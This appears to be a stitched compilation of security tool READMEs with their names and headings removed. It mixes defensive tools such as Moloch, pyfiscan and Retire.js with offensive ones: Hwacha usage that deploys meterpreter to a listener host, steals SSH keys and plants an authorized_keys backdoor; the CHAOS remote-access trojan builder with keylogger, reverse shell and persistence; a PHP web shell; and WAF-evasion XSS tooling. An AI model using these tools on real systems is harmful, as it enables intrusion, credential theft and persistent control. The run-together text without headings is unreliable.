• Ptrace/ASLR/Yama Bypass
• API for 3rd party projects
• Linux common features
• Dynamic library loading
• SmartLock extraction
• Private file extractor
• KeyStore extraction
• Advanced reflection
• WebServices Engine
• Privilege escalation
• Context Spoofers
• Core Observers
• Library injection
• OOP Bypass
• Extensible

• Android 4.4 to 6.0
• Architectures Arm(32/64 bits), x86(32/64 bits), MIPS(32/64 bits)

• Easily launch Nmap scans with a few clicks.
• Responsive interface runs smoothly from your phone/tablet.
• Reports delivered by email in all formats.
• View reports from your web browser.
• Schedule scans.
• Dozens of scanning profiles to choose from.
• Easy to install/set up.
• Share results with your team.

• dnspython
• colorama

git clone https://github.com/Ice3man543/SubOver.git .
cd SubOver
# consider installing virtualenv
pip install -r requirements.txt
python subover.py -h

• -l subdomains.txt is the list of target subdomains. These can be discovered using various tool such as sublist3r or others.
• -o output_takeovers.txtis the name of the output file. (Optional & Currently not very well formatted)
• -t 20 is the default number of threads that SubOver will use. (Optional)
• -V is the switch for showing verbose output. (Optional, Default=False)

• Github
• Heroku
• Unbounce
• Tumblr
• Shopify
• Instapage
• Desk
• Tictail
• Campaignmonitor
• Cargocollective
• Statuspage
• Amazonaws
• Cloudfront
• Bitbucket
• Squarespace
• Smartling
• Acquia
• Fastly
• Pantheon
• Zendesk
• Uservoice
• WPEngine
• Ghost
• Freshdesk
• Pingdom
• Tilda
• Wordpress
• Teamwork
• Helpjuice
• Helpscout
• Cargo
• Feedpress
• Freshdesk
• Surge
• Surveygizmo
• Mashery

backend.example.com
something.someone.com
apo-setup.fxc.something.com

• Not use it.
• Show me how to do it better.

• Subdomain Takeover Scanner by 0x94
• subjack : Hostile Subdomain Takeover Tool Written In GO
• Anshumanbh : tko-subs

• Powerful fuzzing engine
• Context breaking technology
• Intelligent payload generation
• GET & POST method support
• Cookie Support
• WAF Fingerprinting
• Hand crafted payloads for filter and WAF evasion
• Hidden parameter discovery
• Accurate results via levenshtein distance algorithm

git clone https://github.com/UltimateHackers/XSStrike

cd XSStrike

pip install -r requirements.txt

python xsstrike

1. As command line scanner
2. As a grunt plugin
3. As a gulp task
4. As a Chrome extension
5. As a Firefox extension
6. As a Burp and OWASP Zap plugin

$ npm install -g retire
$ retire

var gulp = require('gulp');
var spawn = require('child_process').spawn;
var gutil = require('gulp-util');

gulp.task('retire:watch', ['retire'], function (done) {
    // Watch all javascript files and package.json
    gulp.watch(['js/**/*.js', 'package.json'], ['retire']);
});

gulp.task('retire', function() {
    // Spawn Retire.js as a child process
    // You can optionally add option parameters to the second argument (array)
    var child = spawn('retire', [], {cwd: process.cwd()});

    child.stdout.setEncoding('utf8');
    child.stdout.on('data', function (data) {
        gutil.log(data);
    });

    child.stderr.setEncoding('utf8');
    child.stderr.on('data', function (data) {
        gutil.log(gutil.colors.red(data));
        gutil.beep();
    });
});

• Integrating url-to-image 'lazy-rendering' for AJAX resources
• Fully functional on Windows and Linux systems
• Cookie and custom HTTP header definition support
• Multiprocessing and killing of unresponding processes after a user-definable timeout
• Accepts several format as input target
• Maps useful options of phantomjs such as ignoring ssl error, proxy definition and proxy authentication, HTTP Basic Authentication

http(s)://domain_or_ip:port(/ressource)
domain_or_ip:port(/ressource)
domain_or_ip(/ressource)

$ python webscreenshot.py -h
Usage: webscreenshot.py [options]

Options:
  -h, --help            show this help message and exit

  Main parameters:
    -i INPUT_FILE, --input-file=INPUT_FILE
<INPUT_FILE>: text file containing the target list.
                        Ex: list.txt
    -o OUTPUT_DIRECTORY, --output-directory=OUTPUT_DIRECTORY
<OUTPUT_DIRECTORY> (optional): screenshots output
                        directory (default './screenshots/')
    -w WORKERS, --workers=WORKERS
<WORKERS> (optional): number of parallel execution
                        workers (default 2)
    -v, --verbosity     <VERBOSITY> (optional): verbosity level, repeat it to
                        increase the level { -v INFO, -vv DEBUG } (default
                        verbosity ERROR)

  Input processing parameters:
    -p PORT, --port=PORT
<PORT> (optional): use the specified port for each
                        target in the input list. Ex: -p 80
    -s, --ssl           <SSL> (optional): enforce ssl for every connection
    -m, --multiprotocol
<MULTIPROTOCOL> (optional): perform screenshots over
                        HTTP and HTTPS for each target

  HTTP parameters:
    -c COOKIE, --cookie=COOKIE
<COOKIE_STRING> (optional): cookie string to add. Ex:
                        -c "JSESSIONID=1234; YOLO=SWAG"
    -a HEADER, --header=HEADER
<HEADER> (optional): custom or additional header.
                        Repeat this option for every header. Ex: -a "Host:
                        localhost" -a "Foo: bar"
    -u HTTP_USERNAME, --http-username=HTTP_USERNAME
<HTTP_USERNAME> (optional): specify a username for
                        HTTP Basic Authentication.
    -b HTTP_PASSWORD, --http-password=HTTP_PASSWORD
<HTTP_PASSWORD> (optional): specify a password for
                        HTTP Basic Authentication.

  Connection parameters:
    -P PROXY, --proxy=PROXY
<PROXY> (optional): specify a proxy. Ex: -P
                        http://proxy.company.com:8080
    -A PROXY_AUTH, --proxy-auth=PROXY_AUTH
<PROXY_AUTH> (optional): provides authentication
                        information for the proxy. Ex: -A user:password
    -T PROXY_TYPE, --proxy-type=PROXY_TYPE
<PROXY_TYPE> (optional): specifies the proxy type,
                        "http" (default), "none" (disable completely), or
                        "socks5". Ex: -T socks
    -t TIMEOUT, --timeout=TIMEOUT
<TIMEOUT> (optional): phantomjs execution timeout in
                        seconds (default 30 sec)

list.txt
--------
http://google.fr
https://173.194.67.113
173.194.67.113
https://duckduckgo.com/robots.txt


Default execution
-----------------
$ python webscreenshot.py -i list.txt
webscreenshot.py version 1.0

[+] 4 URLs to be screenshot
[+] 4 actual URLs screenshot
[+] 0 errors


Increasing verbosity level execution
-----------------------------------
$ python webscreenshot.py -i list.txt -v
webscreenshot.py version 1.1

[INFO][General] 'http://google.fr' has been formatted as 'http://google.fr:80' with supplied overriding options
[INFO][General] 'https://173.194.67.113' has been formatted as 'https://173.194.67.113:443' with supplied overriding options
[INFO][General] '173.194.67.113' has been formatted as 'http://173.194.67.113:80' with supplied overriding options
[INFO][General] 'https://duckduckgo.com/robots.txt' has been formatted as 'https://duckduckgo.com:443/robots.txt' with supplied overriding options
[+] 4 URLs to be screenshot
[INFO][http://173.194.67.113:80] Screenshot OK
[INFO][https://173.194.67.113:443] Screenshot OK
[INFO][http://google.fr:80] Screenshot OK
[INFO][https://duckduckgo.com:443/robots.txt] Screenshot OK
[+] 4 actual URLs screenshot
[+] 0 errors

Results
-------
$ ls -l screenshots/
total 61
-rwxrwxrwx 1 root root 35005 Jan 12 19:46 http___173.194.67.113_80.png
-rwxrwxrwx 1 root root 38152 Jan 12 19:46 http___google.fr_80.png
-rwxrwxrwx 1 root root 35005 Jan 12 19:46 https___173.194.67.113_443.png
-rwxrwxrwx 1 root root 12828 Jan 12 19:46 https___duckduckgo.com_443_robots.txt.png

• Python 2.7
• webscreenshot python script:
  • The easiest way to setup it: pip install webscreenshot and then directly use $ webscreenshot
  • Or git clone that repository
• Phantomjs > 2.x : follow the installation guide and check the FAQ if necessary

• version 2.1 - 01/14/2018: Multiprotocol option addition and PyPI packaging
• version 2.0 - 03/08/2017: Adding proxy-type option
• version 1.9 - 01/10/2017: Using ALL SSL/TLS ciphers
• version 1.8 - 07/05/2015: Option groups definition
• version 1.7 - 06/28/2015: HTTP basic authentication support + loglevel option changed to verbosity
• version 1.6 - 04/23/2015: Transparent background fix
• version 1.5 - 01/11/2015: Cookie and custom HTTP header support
• version 1.4 - 10/12/2014: url-to-image phantomjs script integration + few bugs corrected
• version 1.3 - 08/05/2014: Windows support + few bugs corrected
• version 1.2 - 04/27/2014: few bugs corrected
• version 1.1 - 04/21/2014: Changed the script to use phantomjs instead of the buggy wkhtml binary
• version 1.0 - 01/12/2014: Initial commit

• Thomas Debize < tdebize at mail d0t com >

• Allows administrators to determine exactly what is visible externally in their Moodle installation.
• A tool for penetration testers to find potential vulnerabilities in a Moodle installation by enumerating installed plugins, themes and libraries.

• Scan networks with predefined or custom nmap queries
• Order clients with preconfigured or custom groups
• Search through all attributes of clients and create complex linked queries
• Get an overview of your targets during pentests with predefined security labels
• Save and reuse your most used nmap scans
• Collaborate with your team on the project in realtime
• Export selected clients in a text file to connect other tools fast

git clone https://github.com/evait-security/envizon
cd envizon
# Create self-signed certificates:
mkdir .ssl
openssl req -x509 -sha256 -nodes -newkey rsa:2048 -days 365 -keyout .ssl/localhost.key -out .ssl/localhost.crt
# If you want to use certificates located elsewhere, provide their pathes with SSL_CERT_PATH and SSL_KEY_PATH
# Create a secret, if you have rails installed locally you can just use:
rails secret
# otherwise, use openssl:
openssl rand -hex 64
# this needs to be provided either as an environment variable (SECRET_KEY_BASE), or added in the docker-compose.yml
sudo docker-compose up

git clone https://github.com/evait-security/envizon
cd envizon
sudo docker-compose -f docker-compose-development.yml up

docker exec -it envizon_container_name_1 /bin/ash -c 'rails test'

git clone https://github.com/evait-security/envizon
cd envizon
bundle install --path vendor/bundle

RAILS_ENV=production
export RAILS_ENV
SECRET_KEY_BASE=YOUR_SECRET
export SECRET_KEY_BASE
bundle exec rails db:setup
bundle exec rails db:migrate
bundle exec rails db:seed
bundle exec rails assets:precompile
RAILS_FORCE_SSL=true RAILS_SERVE_STATIC_FILES=true bundle exec rails s

git clone https://github.com/evait-security/envizon
cd envizon
bundle install --path vendor/bundle
RAILS_ENV=development
export RAILS_ENV
bundle exec rails db:setup
bundle exec rails db:migrate
bundle exec rails db:seed
bundle exec rails s

RAILS_ENV=test db:setup
bundle exec rails test

• Currently not. We will work on it. Maybe.

• Latest Chrome / Chromium / Inox & Firefox / Waterfox.

• Wanted to learn ruby. It's cool.

• This is a community project. We are a full time pentesting company and will not go into / care about every open issue that doesn't match our template or guidelines. If you get a rough answer or picture, you probably deserved it.

• Ruby on Rails
• ruby-nmap (https://github.com/sophsec/ruby-nmap)
• Materialize CSS (http://materializecss.com/)
• Fontawsome Icons (https://fontawesome.com/)
• Material Icons (https://material.io/icons/)
• Many, many helpful gems

• Extracts the apk contents.
• Disassembles native libraries
• Extracts jar out of dex.
• Extracts source code in Java.
• Extracts source code in Smali.
• Recompiles smali into APK
• Signs the APK
• Checks for bytecode injection points.
• Analyzes permissions used by the application.
• Dumps the Manifest.
• Dumps the certificate details.
• Checks for malware footprints in the VirusTotal database.

• Linux or MAC
• Java JDK

1. Dowload the zip or clone the package and extract the tool ( git clone https://github.com/abhi-r3v0/Adhrit.git ).
2. Place the application in the tool directory.
3. Open a terminal and cd into the directory.
4. Run python installer.py for installing the necessary tools.
5. Use python adhrit.py -h for usage help.

1. Filenames with two '.' may give an error. Please rename the apk in such cases. For example, if your file name is my.app.apk, rename it to myapp.apk

1. composer update
2. generate .env with database information
3. php artisan migrate
4. php artisan physics:createUser username password
5. php artisan key:generate
6. configure your domain to public/ folder.
7. configure a cronjob (* * * * * php /physics-commandProject/artisan schedule:run >> /dev/null 2>&1)

$python hwacha.py 
&&&&     &&         &&        &&
&&&&&&&&&&&& &&         &&        &&      Created by Esteban Rodriguez   /~~\_
&&&&&&    &&     &&&&&&&&&&    &&   Web: https://www.n00py.io     /| '` *\
&&    &&   &&&&&      &&        &&&&&        Twitter: @n00py1         \|  ___/
&&      &&  &&&&&    &&  &&      &&&&&   _   _                     _
&&    &&   &&      &&    &&     &&     | | | |                   | |
&&&&&&    &&    &&&      &&&   &&     | |_| |__      ____ _  ___| |__   __ _
&&      &&   &&          &&  &&     |  _  |\ \ /\ / / _` |/ __| '_ \ / _` |
&&&&&&&&&&&&&&&                   &&     | | | | \ V  V / (_| | (__| | | | (_| |
&&                   &&     \_| |_/  \_/\_/ \__,_|\___|_| |_|\__,_| 
To run commands, use -x [COMMAND]
to run modules, use -m [MODULE]
to specify module options, use -o [ARG=ARG ARG=ARG]
to see all available modules, use -L
Example usage:
python hwacha.py -t 192.168.1.1/24 -u admin  -p password
python hwacha.py -t 192.168.1.100-200 -u admin  -p password -m keys
python hwacha.py -t 192.168.1.100-200 -u admin  -i loot/keys/192.168.1.101/id_rsa -x id
python hwacha.py -t 192.168.1.123 -u admin  -p password -m meterpreter -o "LPORT=4444 LHOST=192.168.1.150 TYPE=64"


Available Modules:
[*] meterpreter               Use this to execute a meterpreter agent on the target(s).
                              REQURED ARGUMENTS: LHOST , LPORT
                              OPTIONAL ARGUMENTS: TYPE {python, php, 32, 64, osx}
[*] mimipenguin               Use this to execute a mimipenguin on the target(s) to recover credentials.  (Requires root)
                              OPTIONAL ARGUMENTS: LHOST, LPORT
[*] keys                      Use this to collect SSH private keys from the target(s).
[*] history                   Use this to collect shell history files from the target(s).
[*] privs                     Use this to enumerate sudo privileges on the targets(s).
[*] backdoor                  Creates an RSA key pair and adds public key to authorized_keys file on targets(s).
[*] web_delivery               Use this to execute a python script on the target(s).
                              REQURED ARGUMENTS: PATH
                              OPTIONAL ARGUMENTS: LISTEN
[*] custom_bin               Use this to execute a custom binary on the target(s).
                              REQURED ARGUMENTS: PATH
[*] sudo_exec               Use this to execute a custom binary (with sudo) on the target(s).
                              REQURED ARGUMENTS: PATH
[*] shellcode               Use this to execute custom shellcode on the target(s).
                              REQURED ARGUMENTS: PATH

pip install paramiko 

• [0] File Manager
• [1] Sec. Info
• [2] Simply Database
• [3] Interactive terminal
• [4] PHP Reverse Back Connect
• [5] Run PHP Code
• [6] Custom Toolz
• [7] Self Script Encryptor !

• OSX El Capitan 10.11
• Ubuntu 16.04
• Backbox 5

  git clone https://github.com/abaykan/53R3N17Y.git /usr/local/share/serenity
>echo 'alias serenity="/usr/local/share/serenity && ./serenity"' > ~/.zshrc
  cd /usr/local/share/serenity
  pip install -r requirements.txt
  serenity -h

  git clone https://github.com/abaykan/53R3N17Y.git /usr/local/share/serenity
>echo 'alias serenity="/usr/local/share/serenity && ./serenity"' > ~/.bashrc
  cd /usr/local/share/serenity
  pip install -r requirements.txt
  serenity -h

• Download the magescan.phar file from the releases page
• Run in command line with the php command

php magescan.phar scan:all www.example.com

• Clone this repository
• Install with composer

git clone https://github.com/steverobbins/magescan magescan
cd magescan
curl -sS https://getcomposer.org/installer | php
php composer.phar install
bin/magescan scan:all www.example.com

mkdir -p ~/.n98-magerun/modules
git clone https://github.com/steverobbins/magescan ~/.n98-magerun/modules/magescan
magerun magescan:scan store.example.com

composer require steverobbins/magescan --dev

"require": {
    "steverobbins/magescan": "dev-master"
}

$ magescan.phar scan:all store.example.com

$ magescan.phar scan:all [--insecure|-k] [--show-modules] <url>

• default
• json

$ magescan.phar scan:catalog [--insecure|-k] <url>

$ magescan.phar scan:modules [--insecure|-k] [--show-modules] <url>

$ magescan.phar scan:patch [--insecure|-k] <url>

$ magescan.phar scan:server [--insecure|-k] <url>

$ magescan.phar scan:sitemap [--insecure|-k] <url>

$ magescan.phar scan:unreachable [--insecure|-k] <url>

$ magescan.phar scan:version [--insecure|-k] <url>

$ magescan.phar self-update

Pyfiscan is free web-application vulnerability and version scanner and can be used to locate out-dated versions of common web-applications in Linux-servers. Example use case is hosting-providers keeping eye on their users installations to keep up with security-updates. Fingerprints are easy to create and modify as user can write those in YAML-syntax. Pyfiscan also contains tool to create email alerts using templates.

• Python 2.7
• Python modules PyYAML docopt
• GNU/Linux web server

• ATutor
• b2evolution
• BigTree CMS
• Bugzilla
• Centreon
• Claroline
• ClipperCMS
• CMSimple
• CMSMS
• Collabtive
• Concrete5
• Coppermine
• Cotonti
• Croogo
• CubeCart
• Dolibarr
• Dotclear
• Drupal
• e107
• EspoCRM
• Etherpad
• FluxBB
• Foswiki
• Gallery
• Gollum
• HelpDEZk
• HumHub
• ImpressCMS
• ImpressPages
• Jamroom
• Joomla
• Kanboard
• KCFinder
• LiteCart
• Magnolia
• Mahara
• MantisBT
• MediaWiki
• Microweber
• MiniBB
• MODX Revolution
• MoinMoin
• MyBB
• Nibbleblog
• Open Source Social Network
• OpenCart
• osDate
• ownCloud
• Oxwall
• PBBoard
• phpBB3
• PhpGedView
• phpMyAdmin
• Piwigo
• Piwik
• PmWiki
• Postfix Admin
• Redaxo
• Roundcube
• SaurusCMS
• Serendipity
• Shaarli
• SMF
• Spina CMS
• SPIP
• SquirrelMail
• TestLink
• TikiWiki
• Trac
• WikkaWiki
• WordPress
• X-Cart
• Zenphoto
• Zikula

• Bugzilla 4.2 is end-of-life since 2015-11-30
• Drupal 6 is end-of-life since 2016-02-24
• Gallery 1
• Joomla 1.5 is end-of-life since 2012-04-30
• Joomla 1.6 is end-of-life since 2011-08-19. 1.6.x should be upgraded to 1.6.6 before moving to 1.7.x
• Joomla 1.7 is end-of-life since 2012-02-24
• Joomla 2.5
• MediaWiki 1.18
• MediaWiki 1.19 is end-of-life since 2015-04-25
• MediaWiki 1.20
• MediaWiki 1.21 is end-of-life since 2014-06-25
• MediaWiki 1.22
• MediaWiki 1.23 is end-of-life since 2017-05-31
• MediaWiki 1.24
• MediaWiki 1.25
• MediaWiki 1.26 is end-of-life since 2016-11-20
• MediaWiki 1.28 is end-of-life since 2017-11-01
• ownCloud 4
• ownCloud 5
• ownCloud 6
• ownCloud 7
• ownCloud 8.0
• ownCloud 8.1
• ownCloud 8.2
• SaurusCMS

apt-get install python python-pip libpython2.7-dev libyaml-dev git libyaml-dev
git clone https://github.com/fgeek/pyfiscan.git && cd pyfiscan
pip2 install -r requirements.lst

• WordPress
  • Announcing a secure SWFUpload fork
• Joomla
  • Upgrade should be done using "Extension manager -> Upgrade" in version 1.6.6 and later
  • Release and support cycle
  • Setup Security checklist
  • Upgrading and migrating Joomla
  • Joomla 2.x creates random SQL table prefix
  • Joomla 3.x informs and shows user a button to remove installation-directory
  • Creates ./configuration.php in installation
  • Creates robots.txt, which contains word "Joomla"
• SMF
  • End of life of SMF 1.0
  • Installer requests users with button to delete install.php
• TikiWiki
  • End of life of TikiWiki 7.x
  • 8.4 is last release of TikiWiki 8.x
  • End of life of TikiWiki 8.x
• MediaWiki
  • End of Life of 1.18.x
• Gallery
  • Not installed when config.php is missing.
  • http://codex.galleryproject.org/Gallery2:Security
  • Upgrade using: http://example.org/gallery3/index.php/upgrade php index.php upgrade
• phpBB (version unknown)
  • Open installation is not a vulnerability since web-interface requests user to authenticate by inserting random data to file.
• Coppermine
  • Not installed when include/config.inc.php is missing.
• Owncloud
  • status.php outputs: {"installed":"true","version":"5.0.6","versionstring":"5.0.5","edition":""}
• Piwigo
  • Not installed if local/config/database.inc.php is missing.
• Claroline
  • Not installed when platform/conf/claro_main.conf.php is missing.
  • Installation pages request user to remove claroline/install/ directory.

git clone https://github.com/MrSqar-Ye/BadMod.git

CHAOS allow generate payloads and control remoteWindows systems.

• Reverse Shell
• Download File
• Upload File
• Screenshot
• Keylogger
• Persistence
• Open URL Remotely
• Get Operating System Name
• Run Fork Bomb

# Install dependencies (You need Golang and UPX package installed)
$ apt install golang xterm git upx-ucl -y

# Clone this repository
$ git clone https://github.com/tiagorlampert/CHAOS.git

# Get and install external imports (requirement to screenshot)
$ go get github.com/kbinani/screenshot && go get github.com/lxn/win
$ go install github.com/kbinani/screenshot && go install github.com/lxn/win

# Maybe you will see the message "package github.com/lxn/win: build constraints exclude all Go files".
# It's occurs because the libraries are to windows systems, but it necessary to build the payload.

# Go into the repository
$ cd CHAOS

# Run
$ go run CHAOS.go

chmod 777 INSTALL.sh
sh INSTALL.sh

./ddos2track

1. capture - A threaded C application that monitors network traffic, writes PCAP formatted files to disk, parses the captured packets and sends meta data (SPI data) to elasticsearch.
2. viewer - A node.js application that runs per capture machine and handles the web interface and transfer of PCAP files.
3. elasticsearch - The search database technology powering Moloch.

Recommended version 5.6.x for Moloch 0.18 and later. Download elasticsearch.

Important: At this time all development is done with elasticsearch 5.6.7.

Inside the installed$MOLOCH_PREFIX/db directory run the

db.pl http://A_ES_HOSTNAME:9200 init script.

1. Install Node.js version 6.x, currently 8.x is not supported. (Moloch versions before 0.18 required 4)
2. In the viewer directory run npm install.

1. Make sure you download the latest freely available GeoIP and RIR files.
   
   • GeoLiteCountry - Geographic IP data
   • GeoIPASNum - Geographic Autonomous System (AS) number data
   • ipv4-address-space - RIR assignments
2. Edit the config.ini file.
   
3. In the viewer directory, run addUser.js to add users. Pass the --admin flag if you want admin users that can edit users from the web site. This is a good test if elasticsearch and config.ini are setup correctly:
   

   node addUser.js <userid> "<Friendly Name>" <password> [--admin]

4. Edit the db/daily.sh script, and set it up in the crontab on one machine.

1. Moloch capture/viewer systems read FAQ Entry
2. Moloch elasticsearch systems read FAQ Entry

• capture/viewer machines
  • 5x HP Apollo 4200
  • 64GB of memory
  • 80TB of disk
  • Running Moloch and Suricata
• elasticsearch machines
• 10x HP DL380-G7
• 128GB of memory
• 6TB of disk
• Each system running 1 node

• tcp 8005 - Moloch web interface
• tcp 9200-920x (configurable upper limit) - Elasticsearch service ports
• tcp 9300-930x (configurable upper limit) - Elasticsearch mesh connections

• Elasticsearch provides NO security, so iptables MUST be used allowing only Moloch machines to talk to the elasticsearch machines (ports 9200-920x) and for them to mesh connect (ports 9300-930x). An example with 3 ES machines 2 nodes each and a viewer only machine::

  for ip in moloches1 moloches2 moloches3 molochvieweronly1; do

  iptables -A INPUT -i eth0 -p tcp --dport 9300 -s $ip -j ACCEPT iptables -A INPUT -i eth0 -p tcp --dport 9200 -s $ip -j ACCEPT iptables -A INPUT -i eth0 -p tcp --dport 9301 -s $ip -j ACCEPT iptables -A INPUT -i eth0 -p tcp --dport 9201 -s $ip -j ACCEPT

  done iptables -A INPUT -i eth0 -p tcp --dport 9300 -j DROP iptables -A INPUT -i eth0 -p tcp --dport 9200 -j DROP iptables -A INPUT -i eth0 -p tcp --dport 9301 -j DROP iptables -A INPUT -i eth0 -p tcp --dport 9201 -j DROP

• Moloch machines should be locked down, however they need to talk to each other (port 8005), to the elasticsearch machines (ports 9200-920x), and the web interface needs to be open (port 8005).
  
• Moloch viewer should be configured to use SSL.
  
  • It's easiest to use a single certificate with multiple DNs.
  • Make sure you protect the cert on the filesystem with proper file permissions.
• It is possible to set up a Moloch viewer on a machine that doesn't capture any data that gateways all requests.
  
  • It is also possible to place apache in front of moloch, so it can handle the authentication and pass the username on to moloch
  • This is how we deploy it
• A shared password stored in the Moloch configuration file is used to encrypt password hashes AND for inter-Moloch communication.
  
• Make sure you protect the config file on the filesystem with proper file permissions.
• Encrypted password hashes are used so a new password hash can not be inserted into elasticsearch directly in case it hasn't been secured.

• Download and install the latest version, pay attention to any special instructions
• You might need to upgrade the database with /data/moloch/db/db.pl http://localhost:9200 upgrade
• Restart the moloch capture and viewer processes

• Update the moloch repository from github
• Build the moloch system using "easybutton-build.sh"
• Shut down currently running old capture and viewer processes
• Optionally use "make install" to copy the new binaries and other items and/or push the new items to the capture hosts
• Run "npm update" in the viewer directory if not using "make install"
• Make sure ES is running and update the database using the "db/db.pl host:port upgrade" script
• Start the new capture and viewer processes